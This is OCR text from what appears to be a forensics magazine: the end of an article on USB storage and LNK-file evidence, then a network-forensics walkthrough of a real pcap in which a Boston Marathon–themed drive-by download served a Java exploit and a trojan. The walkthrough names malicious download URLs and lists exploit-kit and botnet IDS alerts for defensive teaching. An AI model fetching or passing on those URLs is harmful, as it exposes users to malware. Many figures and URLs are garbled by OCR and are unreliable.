three thousand GigaBytes. External hard drives are much larger than USB flash drives and they are
more expensive so they are somewhat less portable and less ubiquitous. People who store significant
computer information on their hard disk drives often make it a point to have a backup copy to removable
disk drives. This is where external hard disk drives come into play. These are capable of data write and
have read speeds comparable to computer built-in hard disk drives. They can store large data immedi-
ately and are bundled by recovery software and drive backups. For this reason, USB hard disks often
contain archival data.

External hard drives often come with a power adapter but there are models that are usually smaller
with a smaller capacity that run off USB power alone. These devices usually utilize 2.5-inch hard drives
instead of the 3.5-inch drives used in powered enclosures. These drives offer the benefits that removable
drives can provide, such as data capacity, along with the advantages of USB flash drives which do not
require external power. These types of drives have the capacity to store up to five hundred GigaBytes of
data commonly.

USB ANALYSIS APPROACHES

Two approaches to USB analysis are commonly used. The first is the dual-parallel approach and the sec-
ond is the virtualization approach. In the dual-parallel approach, USB Flash Drives, which are typically
parts of forensics investigations, can be found plugged into USB ports of running systems. They may
also be separate from computers and thus, inactive.

In the acquisition phase, investigators need to create forensic images of all present storage devices.
Images of USB storage devices are typically acquired with the use of imaging tools. They will also be
stored in EnCase, DD or another proprietary format. The images will be considered forensically valid
copies of the original drives and will be analyzed through the aid of forensics tools. DD is a UNIX com-
mand that is used to perform data transfers and EnCase is a well-established forensic tool in the industry.

A common forensics technique involves copying of the acquired images to hard drives and analyzing
them using forensic software. Such method works most effectively for storage devices that can be ana-
lyzed at a specific point in time and historically.

There is a continuously growing trend of utilizing USBs as active devices carrying full user environ-
ment and portable applications. This trend mainly is caused by two factors: a.) the lowered prices of flash
drives with increased capacity and, b.) the easier accessibility of computers equipped with USB. There
is another method more suitable for the analysis of this type of environment, one that allows for a higher
level of interactivity with the images taken.

The second approach is the virtualization approach. Virtualization refers to the abstraction layer, which
decouples physical hardware components from operating systems. Virtual machines or VMs are soft-
ware running in host machine environments, creating separate and independent environments with each
simulating sets of its own software and hardware.

The process of virtualization requires extra computing resources. Aside from the need to run host oper-
ating systems, computers share same hardware components as virtual machines. The number of virtual
machines that can run on a single physical machine is limited by the available computing resources the
physical machine has.

Implementations don’t have specific restrictions pertaining to the number of machines that may be ac-
tive at one time. The practical restriction will solely be on resource availability and the ease of running
multiple machines on a host at one time.



Typically, well-designed virtual machines have complex and intelligent capabilities for resource man-
agement. For instance, memory management essential for VMWare products can be dynamically shared
between real hardware host system spaces and virtual machines. The additional address translation
level creates a complex mapping for real hardware to become virtual hardware. However, it is still neces-
sary for the illusion that it has full access of the memory range.

Virtual machines allow investigators to analyze an image in an environment that more closely encom-
passes the live environment. What cannot be revealed in a static analysis of files can be seen in the way
files interact in a virtual machine and this can be useful in analysis, especially that of malware analysis.

INTRODUCING THE LNK FILE

LNK files are symbolic and hard links to other files. These other files may be stored within the hard drives
of computers, external USB storage media, network-based locations for storage and CD or DVD disc
media as well. They differ from the Microsoft .Ink shortcut file and are present on many operating sys-
tems including Microsoft Windows, Linux, BSD and Mac OS. The LNK file contains metadata and it is
useful in identifying when and where files were accessed.

There are several ways for how LNK files are created. Most common are:

Programs recording or accessing

Opening files

Installation of specific programs

Accessing, printing or editing of documents

Computer registry being backed up by the Windows restore points
Users creating shortcuts or link files to certain files and folders

In order to recover the link files, many companies and businesses make use of special recovery tools.
These tools are often able to trace back the files demonstrating movement of information, such as from
network locations then to the desktop hard drives of users or to USB storage devices that have been re-
cently connected.

LNK FILE CONTENTS
Link files have embedded metadata relating to target link files and the .Ink file metadata. The information
that will be gathered from these types of file may be all or any of the following:

File names

Global Unique Identifier (GUID)

Created date

Date last accessed

Date last modified

File size

Volume type resided on by linked to files
Volume serial number

Full paths to the files linked to

Modify Access Create (MAC) times

A sample link file that is parsed is as follows:

Link File Offset: 25

Link File Size: 399

File Flags: HASITEMID | ISFILEORFOLDER | HASWORKINGDIRECTORY
File Attributes: ARCHIVE

ShowWindow Value: SW_NORMAL

Created Date: 06/22/13 10:27:03AM

Last Written Date: 06/22/13 10:29:10AM
Last Accessed Date: 06/22/13 10:29:10AM
Volume Label: 2013ACME

Media Type: Removable

Volume Serial: B2 A3 D4 41
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File Length: 48902
Base Path: E:\clients.zip
Working Directory: E:\

FINDING EVIDENCE IN LNK FILES

Link files are typically where shortcut files are created. In such a case, based on the sample above, there
exists the shortcut file named “clients”. It points to a device that is removable and which has the vol-
ume label, 2013ACME. This shortcut also indicates that the last time the file was accessed was around
10:29AM on 06/22/13.

To aid in determining if data was stolen using a USB device, forensic investigators will look for evi-
dence of USB activity that has taken place on a particular computer. Such evidence can include the se-
rial numbers of USB devices that have been connected, including make and model, and the first and last
time a USB device was connected. The computer may also contain link files that indicate whether files
were opened from external devices such as USB drives or network shares. When a user opens a file,
the Windows operating system creates or modifies link files, which contain metadata such as path, last
modified or accessed date and time, and a volume serial number — which is separate from the physical
serial number of the device. The critical pieces of information are the file path, which indicates if a file,
has been opened from an external location such as a USB drive or network share, and the last modified
or accessed date and time, also known as the MAC time.

This can be better understood by observing the forensic process surrounding this type of incident.
First, forensic investigators analyze the computer to see which USB devices, if any, were connected to
the computer. Next, the investigator might advise the attorney to request USB devices with the serial
numbers and possible make/model obtained from the analysis. Analysis of the USB devices themselves
can show which files exist on the device, and when they were created, last modified, last accessed and
also whether they were deleted from the USB device. Files on a USB device that have an access date
after the last time they were connected to the original computer may indicate that they were accessed
elsewhere. At this point, it may be necessary to analyze the employee’s personal computer or other ma-
chines they have used to determine if files from the USB device were indeed opened or copied there.
If evidence were available, this process would conclude with evidence showing the flow of data outside
the organization.

SUMMARY

This article presented you with an overview of USB storage and LNK files and how they are used in fo-
rensic investigation including how the USB drive and LNK files are related, how LNK files are significant
and how forensic investigations utilize them.
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HOW TO ANALYZE A
TRAFFIC CAPTURE

A REAL NETWORK FORENSICS ANALYSIS RELATED WITH
THE BOSTON BOMBS

by Javier Nieto Arevalo

We live in an era where the signature-based Antivirus has less
sense if we want to fight against hackers who are creating
customized malware only for their targets. This malware is
commonly known as Advanced Permanent Threat (APT) and

it's really interesting to research where the host was infected,
the connections back to the Command and Control server to
get the instructions and evaluate the damage of the malware.
Sometimes it is easier to detect infected hosts in the networks if
we analyze the network traffic than using an Antivirus running
on the host.

What you will learn:

+ Sites in your network where you
can get traffic captures.

» Useful tools to aid in getting/ana-
lyzing traffic captures.

* How to use Virustotal, Wireshark
and NetwokMiner in a real inci-
dent.

* How to detect attacks and more
details from a pcap file with an IDS
system.

* How to get information about how
malware works.

* How to detect exploits and mal-
ware in an incident handle.

* How to create a map report with
connections established in the
capture data.

What you should know:

* Get familiarized with the network
devices.

* Get familiarized with the Internet
Protocols and modern malware.

Antivirus manufacturers. For this reason, there are some new technol-

ogies like Sandboxes where you can run the suspicious files in order
to study their behaviour. For example, the sandboxes Cuckoo or Anubis get
a traffic capture to help us achieve this goal to fight malware. Also, some IDS
like Snort, gets traffic captures in a pcap format to obtain the evidence about
a certain attack.

Q s you know, the modern malware or APTs are winning the match to the

For all this, it's really important that the Security IT Department has a high
knowledge about how to get and how to analyze the traffic that is crossing
into their networks.

In this post I'm going to talk about how, where, with and which tools we can
use to get and analyze the traffic network. Then, I'm going to show you a real
network forensic analysis where hackers take advantage of popular news like
the Boston Marathon incidents.

HOW TO GET TRAFFIC CAPUTERS

TOOLS AVAILABLE

There are a lot of tools to get traffic captures: Wireshark, Tshark, Tcpdump,
NetworkMiner, Cain and Abel, Xplico, Capsa, ngrep... In this article we are go-
ing to focus on tools commonly used to achieve this goal: Wireshark, Tshark

and NetworkMiner.
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Wireshark (before known as Ethereal) and Tshark are a really popular network protocol analyzer. Both
of them are the same tool. The first one has a graphical user interface (GUI) and the second one has a
command line interface (CLI).

The main reasons to work with these tools are:

Both of them are Open Source with GPL license.

Available in all platforms (Windows, Linux, MAC...).

Both take traffic captures in live and offline mode.

They can understand the maijority of Internet Protocols (TCP, DNS, FTP, TFTP, HTP...).

They have advanced filters and searches, TCP Follow Stream, Flow Graph, Maps reports, etc...
There are a lot of tutorials in the Internet.

CAPUTRE DATA ON THE MACHINE YOU ARE INTERESTED IN
There are several methods to capture traffic from your network. In this article, I'm going to talk about
which are most commonly used.

If you only need to capture the network traffic to/from a specific host, you can just install Wireshark
on that host (computer) and start to sniff. It's really easy to use but the traffic exchanged between other
hosts of the network will be unavailable (except broadcast traffic).

This type of capture could be helpful when you suspect there is a problem in your network involving the
host you are testing or when you just want to analyze the traffic exchanged from that host on the network.

Firateall

—
—_—
L—

="

L
Server Il T
-

/

Sl s s

Phéne Phéne Phru Phen:

—_

Ll

/A

WIRESHARK

Figure 1. Network scheme of a simple capture
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CAPUTRE DATA USING A PORT MIRROR

Some Ethernet switches have a monitor mode. A monitor mode is the capability of the switch to use as
a single port to merge the traffic of all other ports: that is, the port acts like a hub. If this monitor port is
connected to the host when running the sniffer, all the network traffic (crossing that switch) will be cap-
tured. It's sometimes named ‘port mirroring’, ‘port monitoring’, ‘Roving Analysis’ (3Com), or ‘Switched
Port Analyzer’ or ‘SPAN’ (Cisco). Using the switch management, you can select both the monitoring port
and assign a specific port you wish to monitor.

e
WIRESHARK

Figure 2. Port Mirror examples on a switch

Some switch models could allow the mirroring of just one port instead of all ports: in this case it’s really
interesting, the mirroring of the port reserved to the router/firewall (which connects the internal network
to the Internet).

e,

: -
Mirror Port Uo7NG LS Router

Monitoring PC

/.
WIRESHARK

Figure 3. Port mirror of the port reserved to the router
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Mirroring the port used by the router/firewall, the switch will duplicate the incoming/outgoing traffic of
our network to the Internet and send it to a host where it is running a sniffer or an IDS like Snort or Suri-
cata in order to get security events. If you are interested in installing an IDS, you should read the tutorial
from the original IDS website before installing it.

It's also possible to lose some traffic if we are sniffing a high traffic network...

This type of capture is easy to use if such a switch is available; we just need to read the switch manu-
facturer documentation to get the instructions.

HOW TO WORK WITH WIRESHARK AND TSHARK
The goal of this article is not to train you on how to use Wireshark or Tshark. This is only a brief introduc-
tion but | think it could be interesting to show you some examples that will help you to start with these tools.

I commented that when we want to capture traffic to research some problems in our network or we want
to do some tests, we can capture data on the machine we are interested in by using Wireshark. This is
really easy to do by installing the sniffer software in this machine. We can see “in live” the traffic capture.
In these kinds of captures, it's common to capture all traffic in a certain network card and then, working
with filters.

Capture
Capture Interface Link-layer header Prom, Mode Snaplen [B] Buffer [ME]
= Conexiones de red inalambricas
™ TRt Ethernet enabled  default z
[[] Conexidn de area local Ethernet enabled default z

m

[7] Capture on all interfaces

W Use promiscuous mode on all interfaces

Capture Filker:

Figure 4. Default captures traffic in the Wireless interface

Fle Edt Wew Gn Caphure Analyre  Statikies  Telephony  Tonks  Infernale  Help

e dNs B2 A+ TR BB Al @ERX B

Fiter: | http.content type - | Cxpression...  Clear Save
Ha. Time Source Dstination Protocal  Length  Info
117 34. 8250220174 . 137.42. 75 162 .168.1.35 HTTP ADR HTTR/1.1 200 ok (rext himl)
126 36.2412900192,168.1.35 77.234.43.82 HTTP 602 POST /P/OTFFOZUWNZATMOZFOSOXMDY SLUEYREQTQZAFQT JCMZAZMENE |
127 36, 2442030174.1%.41.14 192.16H.1.35 HTTP A5Y HTTR/L.1 200 oK (GIFSYa)
130 35.3245060 77.234_43 .82 162 168.1.35 HI TR 251 HIir/1. 1 200 ok Capplicationdoctet-stream)
Frame 130: 251 bytes on wire (2008 birsh, 251 bytes captured (2008 birs) on interface 0

v Ethernet II, Src: Comtrend 4c:19:a5 (00:1d:20:4c:19:a5), Dst: Intel_6Ga:bd:aa (00:0e:35:6a:bd:aa)
b Internet Protocol version 4, Src: //7.234.43.82 (/7.234.43.582), Dst: 192.168.1.35 (192.168.1.35%)
» Transmission control pProtocol, src port: hrtp (80), pst Port: conferenceralk (1713), seq: 1, ack: 549, Len: 197
4 [Hypertext Transfer protocol
HITP/L.1 200 OkNFN\N
content-i1ype: application/octet-streamyrin
Content-Length: &4n
ot Cookie: userid-1a70d26a<03ctcdcc6300580622580de;Max - Aqe=504576000; Path=-"/";Domain=-ui. tt.avast. com; version-1yriyn
n
[HTTP response 1,1]
[Time since request: 0.083406000 seconds]
[Request in frama: 1.6]
media Type

Figure 5. Filter in a live network capture

When we want to capture traffic using a Port Mirror, we won'’t see the data capture “in live” mode.
The sniffer is going to deal with a great amount of data because we will analyze all the traffic of the net-
work. For this reason, it's common to use Tshark in CLI mode on a Linux Machine instead of Wireshark.
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We are going to capture only the protocols, subnets or hosts we are interested in and save the capture
data in a pcap format. For example we will save the captures automatically in 64Mb files to work easily
with them. Why do we need to break up the capture data file in 64Mb? In the next part of the article, we
are going to see how Virustotal could help us with the traffic capture because they can analyze it. They
accept a maximum size of 64Mb. With the commands below, Tshark saves all traffic on the interface
ethO, it switches to a new file every 64Mb and it stops capturing after 20 files:

$ tshark -i eth0 -b filesize:65536 -a files:20 -w mf3.pcap

| don’t talk much more about the filters because there is a lot of information on the internet about how
to sniffer only an IP, network or protocol with Wireshark (http://www.wireshark.org/docs/dfref/) or Thsark
(http://www.wireshark.org/docs/man-pages/tshark.html).

A REAL NETWORK FORENSICS EXAMPLE

In order to explain the different techniques when we want to analyze a data capture (pcap file), I'm go-
ing to show you a real traffic capture and we are going to analyze it. This pcap was sent to me as a real
incident | handled and contains the traffic generated by only one suspicious computer. This pcap file was
captured sniffing with Tshark in a Port Mirror of the reserved port of the firewall.

INSPECT THE PCAP FILE WITH VIRUSTOTAL
22 April 2013 Virustotal began to analyze pcap files. The news was published on their blog. (http:/blog.
virustotal.com/2013/04/virustotal-pcap-analyzer.html).

The new service helps us because we can get a lot of information from the Virustotal system and it's
free. Also, Virustotal offers an API in order to develop our own program to work with them. The APl is free
but it mustn’t be used in commercial products or services.

Now, we are going to see how to Virustotal will give us a lot of valuable information about our traffic
captures. In my opinion, although Virustotal is a great service, it’s totally necessary to analyze the pcap
file with Wireshark or another packet analyzer.

You can see clicking on the link below the analysis of our pcap file by Virustotal: https:/www.virustotal.
com/file/f67b8c98bba320a2895962107f0c5e794d3eb85f8a09bb321787634cb12f8c9a/analysis/.

Ok, let’s go. After uploading the pcap file to www.virustotal.com we can see that three files have been
downloaded and the website detects them as Malware. Also we can see that there are 15 alerts from
Snort IDS and 30 alerts from Suricata IDS.

SHAZ56 MBThEceehha320a289596 21 07M0c5eT94d30h85r8a00bkh 321 TATE340h 218093 ¢
Nombra: captura.peap -

Detecciones: 3r47 " O @ 0

Frcha e

P 2013 06 1018:20:42 UTC (hace 2 meses, 1 semana )
analisis

= ANl

Isie &, Flle detail @ Informacidn adicional & Comentanos L\votos

Intrusion Detaction System Hasultado

Snort 15 alerts

Suricald 30 alerls

Antharug Resuftado Actnalizaclon
Agnitum L] 201 20609
AhnLab V3 L] 20120610
Antivir -] 20130610

Figure 6. First details from Virustotal
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If we go to “File detail” section, Virustotal will help us to locate what websites have been visited in the
traffic capture. See Figure 7 below.

WGHTTP requests

[+] GET hitpitwwniegoogle. esi

[+] GET hitpefiveeni google esicsi?v=38s=webhp&action=58e=17 25939523 4000116, 4001569 4001947 4001959 400285,
[+] GET hitpitwonnigoogle esis?hl=eségs_rm=9&ngs_ri=psy-abiop=1E&gs_id=5E&xhr=t&n=h&es_nre=true&pi=pioutput=...
[+] GET hitpoitwanagoogle . esficompletersearch?client=hpéhl=es&os_rm=9&0s_ri=psy-abh&ocp=180s_id=9&xhr=t&ng=hE. .
[+] GET hitpeitwanan goodle. esthlank html

[+] GET hitpitvwanssegoogle esis?hl=es&gs_rn=9&gs_ri=psyv-abiop=28&0s_id=7&xhr=t&g=holes_nre=true&p=p&output...
[+] GET hitpitanni google esicompletelsearch?client=hp&hl=es&gs_rn=9&gs_ri=psy-ab&op=2&gs_id=7 Exhr=t&g=ho. .

Figure 7. Some URLs visited in the incident handle

We can see several searches on Google. The majority of them are searches related with the Boston

Marathon. You noticed this traffic capture was taken days before the Boston Marathon explosion. See
Figure 8 below.

[+] GET http: e google esfe?hl=esiys m=98gs rimpsy-ablop=7 &gs id=rmiuxhr=t o=|aii

g76208es nrs=truedpf=p.
[+] GET http: e google es/complete/search?client=hp&hl=esfgs m=2%gs rimpsy-ablop=7 &gs_id=mixh=tg=hbo. .
[+] GET http:ffwewnne google. es/s?hi=estgs_m=98gs_ri=psy-ablop=8&gs_id=paxhr=t&.q={

i 0mées_nrs=truedpf=..
[+] GET http:feveee google. es/complete/search?client=hp&hl=esfgs_rm=9%&gs_ri=psy-ablcp=8&gs_id=pixhr=tdg=ba...
[+] GET hitp:/fwewnne google. esfs?hi=estgs_m=98gs_ri=psy-ablop=Dgs_id=sfxhr=t =My o?0mates_nrs=truedpf...

[+] GET http:fevicee google esfcomplete/search?client=hp&hl=esfgs m=28gs rispsy-ablop=DLgs_id=sixhr=tlg=bao.
[+] GET http:ffwwne google. esfimagesigrey_pins2. png

[+] GET http:#news. google. es/news/tbnBRCCvAelullB jpg

[+] GET http:fwvicee google. esf/s?hl=esigs_m=S&gs_r=psy-abfop=108gs_id=vixhr=t o= |Qa ey

Go20mardes_nre=trued. ..

[+] GET http:fevree google es/completel/search?client=hp&hl=es s m=28&gs riepsy-ablop=108gs id=vixhr=tig=h. .

[+] GET http:#ssl gstatic comduisd/menufcheckmark2 png

[+] GET http:ffwwne google. esimapsitidata=AyaEWEeob WIPLDY ol ofy o uS w55 007 Ag, SauizAsII 0k Qo uF HA8W e .
[+] GET http:fevree google.esfs?hlmeségs_m=98gs_ri=psy-abdcp=118gs_id=y&xhr=t &o=elly o 20marades_nrs=true...

[+] GET http:fevicee google. es/complete/search?client=hp&hl=esfgs m=9%&gs ri=psy-ablop=118&gs_id=ya&xhr=t&g=h. .
[+] GET http:feviree google esfxjs/ fs/shwtalt=jiver=_nTMO-1j5A en_ US farm=And=0/s=1/rs=ARRSTPIG SN,

[+] GET http: e google esfesi®=34s=weblaction=Eei=SgSIZb2Nemkh Ofe0IHIBO &e=17 259 35523 4000116 400156,
[+] GET http:ffwwnne google es/s?hi=estgs_m=98gs_ri=psy-ablop=1480s_id=14&xhr=t &o={

iy o Z20maratonées_nrs=...
[+] GET http:Aevnee google. es/complete/search?client=hp&hl=es&gs_rm=9%gs_ri=psy-abicp=148gs_id=148xh=t&eg=. ..

[+] GET http:fwvnee google. esfmapsit/data=0kD0 |1 oleMyd ZUBE-W2ENIZUucg THNF gplmd SauizAs91OknvQocuF HABWW ST Wik,
[+] GET http:fwveee google esfgen 2047 atyp=ifct=Iu_featurermap&cad=14028ei=9g3U b2 NemhOfe0IHIBO &z x=1366274.
[+] GET http:fvvwree google esfgen 204 7atyp=idct=14cad=1&sgi=3 &=

800= Yo20maratonfgs |

Figure 8. Websites visited during the live capture

Also, some videos have been seen about the Boston Marathon explosion. See Figure 9, 10 and 11.
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[+] GET http:41188.2.164. 112/ akgdagy htrml

[+] GET hitp: /e JENMIE, cor/ermbedHAMuSghgeho
[+] GET hittp: e [T, cormiermbed/RIHnpHZpF cw
[+] GET hitp: o
[+] GET http:iheathawkheaters. com/fhair html

T com/embed/V oolDyT4-Zs

[+] GET http:#ferl geotrust. comferls/secureca. crl

[+] GET hittp: e [N, c orméermbed/ U7 rOBwUCE

Figure 9. Some videos watched on YouTube

Figure 11. Screenshot of YouTube video

After that, Virustotal gives us the best information, the files that have been downloaded and have been
recognized by the majority of Antivirus. We can see the following links in bold. See Figure 12 below.



[+] GET http:/heathawkheaters.comizi.jar
[+] GET hittp:‘heathawkheaters.comiz 1 jar
[+] GET hitp:theathawkheaters comf 3 html

[+] GET hitp:/kolasoegrunewhos3.exe

Figure 12. Malicious files
If we expand the URL we will get information about the requested files.

See Figure13 below

[+] GET httpiiheathawkheaters. comizl jar

Request datetime 2013-0418 10:34:38 534826

Request user-agernt Mozillard.0 Qindowes P 517 Javal 5.0_21
Cortacted host 216172186 .132:80

Server response code 200

Response content file name wzl.jar

Response cortent file type Zip archive data, at least w1.0 to extract

Figure 13. First information about the suspicious file

If we click on the sha 256 checksum, the website redirects us to other Virustotal page where it will give
us the security details of the file. In the information in the picture below, we can see the first two down-
loads (vz1.jar) are an exploit. This exploit takes advantage of the CVE-2012-1723 (http://cve.mitre.org/
cgi-bin/cvename.cgi?name=CVE-2012-1723). It's an unspecified vulnerability in the Java Runtime Envi-
ronment that allows the remote attackers to affect confidentiality, integrity, and availability via unknown
vectors related to Hotspot.

B total

SHAZSE: ObfSedfd? 107 c1 0051246311 9490c0bd1 443920501 27hbES00d1faa05555dh b
Murnbire wzl jur -
@6©0

Deteccinnes: 19147 2 e
'E‘Eﬂ.a.dc 2013-06-11 04:05:18 UTC (hace 2 megas )
andlisis.

= Analisis 2 Relalivnships O Infurrricion sdiciom o Cumenlanios 1vulos

AnthArug: Ragulado Actuallzaciin

Agnilum -] 20130611

AhnLab V3 JRCwe 20121722 20120810

Antivir FHPilava HLPA 1667 201 3NG4

Anliy-#L o 201320610

Avast JavaMahware-gen [T 2013061

A Exeploil Java_v G 201320611

Figure 14. Antivirus detects the vz1.jar file as exploit

The last file (newbos3.exe) is detected by the majority of the Antivirus as Trojan Malware. See Figure
15 below.
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Ayast Win3 Znptik- LY [Tr) 201320611

Figure 15. The newbos3.exe file is detected as malware

Currently, we have an idea of what is happening in this incident. We are still working on it and in the
last part of the article; we will show you the conclusion.

Another function Virustotal gives us is the information about the DNS requests in the pcap file. In the
Figure 16 below, we can see some of them.

@ DNS requests
ASPMX.L.GOOGLE.COM
173.194.66.27

dcigroup.ae
panasonic.aero
128.165.53.195.in-addr.arpa

avivagroup.com.at

Show all

Figure 16. Some DNS requested in the incident

Other really valuable information Virustotal offers us, is to send to their IDS system, Snort and Suricata
the pcap file in order to search security events like attacks, exploits, vulnerabilities... etc. If you do not
have this system, it could help you a lot. These IDS are really useful because they have thousands of
signatures, which recognize every security event, and they are free. Also, if you install these systems in
“live mode” sniffing in a “port span” or “port mirror”, they will collect the evidences of the security attacks
in a pcap file... In Figure17 and Figure 18 below, we can see the Snort and Suricata events.



A Snort alerts

Conzacutive TCP small segments excesding threshold (Potentially Bad Traffic)

thttp_inzpect’) SIMPLE REQUEST (Unbkrown Traffic)

FILE-EXECUTABLE Portable Executable binary file magic detected (Potential Corporate Privacy ‘dolation)
BAD-TRAFFIC TG Firewall Cliert long host entry exploit attempt (Atempted Uszer Privilege Gain)
SERWER-hAAIL SMTP relaying denied (fvise activity)

(zpp_sdf) SDF Combination Aert (Sensitive Data was TrAnsmitted Across the Network)
tlaLARE-OTHER Double HTTP Server declared (A Metwork Trojan was Detected)

SEMEITIVE DATA Bmail Addresses (Sensitive Data was Transmitted Across the Metwork)
(http_inzpact) HTTP RESPONSE GZIP ODECOMPRES 510K FAILED (Unknown Traffic])
EXPLOIT-KIT Redkit exploit kit java exploit request (4 Hetwork Trojan was Detected)

EXPLOIT-KIT Redkit exploit kit payload requested (4 Metwork Trojan was Detected)

EXPLOIT-KIT Redkit exploit kit abfuzcated portable execotable (4 Metwor: Trojan was Detected)
SERWER-WWEBAPP login htm aceess (Pocess to 3 Potentially Wlnerable ek Application)
ihttp_inspect) UMENDWN METHOD {Unknown Traffic)

OHS SPO0OF quary nesponze with TTL of 1 min. and no autharity (Potentially Bad Traffic)

conkazl

Figure 17. Snort IDS alerts

A Suricats alerts

ET CURREMNT_EWENTS Suspicious double HTTP Header possible botnet CnC (A Metwaork Trojan was Detected)
ET CURREWT_EWENTS M2/ Zhot ‘driant Fake b3 IEG.0 LA GA Hetwork Trojan was Detacted)

ET INFO J&4 - Java Archive Download By “lnerable Client (4 Metwor Trojan was Detected)

ET SWTP Abuszeat.org Block hdeszage (Hot Suzpicious Traffic)

ET SCAN Unusually Fast 400 Bmor hessages (Bad Request), Possible Mfeb Application Scan (Atempted Information Leak)
ET CURRENT_EwENTS Redkit Jar Naming Pattemn hdarch 03 2013 (& Network Trojan was Detected)

ET TROJAM Win32iKelihos . F Checkin 8 (A Metwork Trojan was Detected)

ET TROJAN Win32/Kelihos F Checkin & (A Network Trojan was Detected)

ET POLICY Reserwed Intemal |P Traffic (Potentially Bad Traffic)

ET CURREMT_EWENTS Redkit - Potential Payload Requested - £2Digit.htm| (Potentially Bad Traffic)

ET POLICY exe download wig HTTP - Informational (Potential Corporate Privacy olation)

GPL SMTF SMITP relaying denied (vizc activity)

ET INFO Esecutable Retriewed ith binimal HTTP Headers - Potertial Second Stage Download (Potentially Bad Traffic)
ET POLICY Java Ud Lib User Agent (&tempted Information Leak)

ET POLICY Inbound Frequent Emails - Pozsible Spambot Inbound (i activity)

ET POLICY exe downlead withowt Wzer Agent (Potential Corporate Privacy “dolation)

ET POLICY Poszible Spambot Host OMS b Query High Count (Potentially Bad Traffic)

ET OM% Standard query response, Name Bmor (Mot Suspicious Traffic)

ET USER_AGENTS Intemet Explorer f in use - Significant Security Rizk (Potential Corporate Privacy “Wolation)
ET INFO EXE Download Wiith Contert Type Specified fe Bmpty (4 Network Trojan was Detected)

ET POLICY PE EXE or OLL Windows file download (Potential Corporate Privacy ‘Jolation)

ET POLICY Java JAR file download (Mot Suspicious Traffic)

ET TROJAM “AlProtect Packed Binary Inbound via HTTP - Likely Hostile (&% Network Trojan was Detected)

ET POLICY Outdated Windows Flash “ersion |E (Potential Corporate Privacy “olation)

ET TROJAN StormAlfaledac 3.0 Checkin 1 (A Metwork Trojan was Detected)

ET POLICY %inerable Jawa wirzion 1.6.x Detected (Potentially Bad Traffic)

ET POLICY Outbound hduttiple Mon-SWTP Server Emails (viisc activity)

ET POLICY Java JAR Download Atempt (Potentially Bad Traffic)

ET POLICY Binary Download Smallerthan 1 WB Likely Hostile (Potential Corporate Privacy “olation)

ETPRO TROJAM Common Downloader Header Pattem UHCa (Potentially Bad Traffic)

Gonkac

Figure 18. Suricata IDS alerts

We can see the next interesting events from both, Suricata and Snort alerts.
ET POLICY Java JAR Download Attempt (Potentially Bad Traffic)
ET POLICY Vulnerable Java Version 1.6.x Detected (Potentially Bad Traffic)

EXPLOIT-KIT Redkit exploit kit java exploit request (A Network Trojan was Detected)

ET INFO EXE Download With Content Type Specified As Empty (A Network Trojan was Detected)
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EXPLOIT-KIT Redkit exploit kit obfuscated portable executable (A Network Trojan was Detected)
ET CURRENT_EVENTS W32/Zbot.Variant Fake MSIE 6.0 UA (A Network Trojan was Detected)
ET POLICY Possible Spambot Host DNS MX Query High Count (Potentially Bad Traffic)

ET SMTP Abuseat.org Block Message (Not Suspicious Traffic)

ET CURRENT_EVENTS Suspicious double HTTP Header possible botnet CnC (A Network Trojan was
Detected)

ET SCAN Unusually Fast 400 Error Messages (Bad Request), Possible Web Application Scan (At-
tempted Information Leak)

It's totally necessary to review all the information with Wireshark, but in order to not extend a lot this
article; we are going to trust Virustotal. At this moment, we can say that our host in our network has been
searching on Google news about the Boston Marathon bombs and it visited a website (http:/heath-
awkheaters.com/vz1.jar) where there was an exploit which takes advantage of the CVE-2012-1723 vul-
nerability. Just the host was exploited, a Trojan horse was downloaded from another website and maybe
installed on the host. (http:/kolasoeg.ru/newbos3.exe). This type of attack is knows as Drive by Download
Attack. (http.//en.wikipedia.org/wiki/Drive-by_download).

Remember we have just seen some IDS events talking about Spam and a possible Botnet Command
and Control connections. We are going to inspect these events with Wireshark in the next part of the article.

Remember we saw the events below on the IDS alerts:
ET POLICY Possible Spambot Host DNS MX Query High Count (Potentially Bad Traffic)
ET SMTP Abuseat.org Block Message (Not Suspicious Traffic)
INSPECT THE PCAP FILE WITH WIRESHARK
:Qfg;i;:ﬁeocrt]i.on we are going to inspect the pcap file searching connections that Virustotal didn’t provide

Ok, let’s go.

First of all, we need to load the pcap file on Wireshark. Then, if we use a SMTP filter, we can see sev-
eral SMTP connections.

File Edit Wiew Go Capture Analvze Statistics Telephony Tools  Internals  Help

0@ 48 { BERAZS AT LR | EE QB EMEB X O

Filter: | smtp | Expression... Clear Save

Mo, Time Source Destination Protocol  (Length Info
25926 74. 6670910 A5.55.37. 88 152.168.78.152 SMTF 297 & 220 COLO-MCZ-F7.Cold. hotm
3335 TB.THOF3ZI0173.1594.67.26 152.168.78.132 SMTP 106 5: 220 mx.google.com ESMTP h
3342 7B E123200 8. 87.26.147 152.168.78.132 SMTP 214 5: 554 dmtaZg.westchester.pa
3344 TE.BL5723068,87.26.147 1%2.168.78.132 SMTP 214 5: 554 imtals.westchester.pa
3347 TB.B210580173.15%4.67.26 162.168.78.132 SMTP 105 S: 220 mx.google.com ESMTP j:
3348 7B.83204701%2.168. 78132 173.154.67. 26 SMTPR 115 <: HELO 128. red-NEE . -
3368 TB,BO71l650173.15%4.67. 26 192.168.78.132 SMTP 89 5: 250 mx.google.com at your
3381 7B.B89046201592.168.78.132 173.1594.67.26 SMTP 115 <: HELe 128, red- - -
3421 7B.9257600173.1594.67.26 162.168.78.132 SMTP 89 5: 250 mx.google.com at your
3432 78.94124401%92.168.78.132 173.1594.67.26 SMTP 79 C: MAIL FROM:<edp@mail.kzs
3468 78,9764 060 173,154, 67. 26 152,168, 78.132 SMTPR G5 5: 250 2.1.0 0K hiZsi3348010
3476 TB.O9852210 58,136, 216. 25 152.168.78.132 SMTP 117 5: 220 mtallss.mail.gol.yaho
3479 TB.OE70240 98,136, 216. 25 152.168.78.132 SMTP 117 5: 220 mtall36.mail.ggl. yaho
3484 7B.994238066.1596.118. 33 152.168.78.132 SMTP 117 5: 220 mtalos3.mail.bfl. yaho
3500 ?9.025?410 1598, 203. 1?4 9 192.168.?8 132 SMTR 82 5: 554 maill.corpmailswvcs.col

8260 173.1594. 26 192.168.78.132 SMTF 8% [TCP Retransmission] S: 250

Figure 19. SMTP filter in order to search mail delivering


http://heathawkheaters.com/vz1.jar
http://heathawkheaters.com/vz1.jar
http://kolasoeg.ru/newbos3.exe
http://en.wikipedia.org/wiki/Drive-by_download

It's seems impossible that a simple user, can send so many emails in so little time. Maybe the computer
is sending Spam with the lack of user knowledge.

Some SMTP servers respond to the sender that they are denying the connections with their email serv-
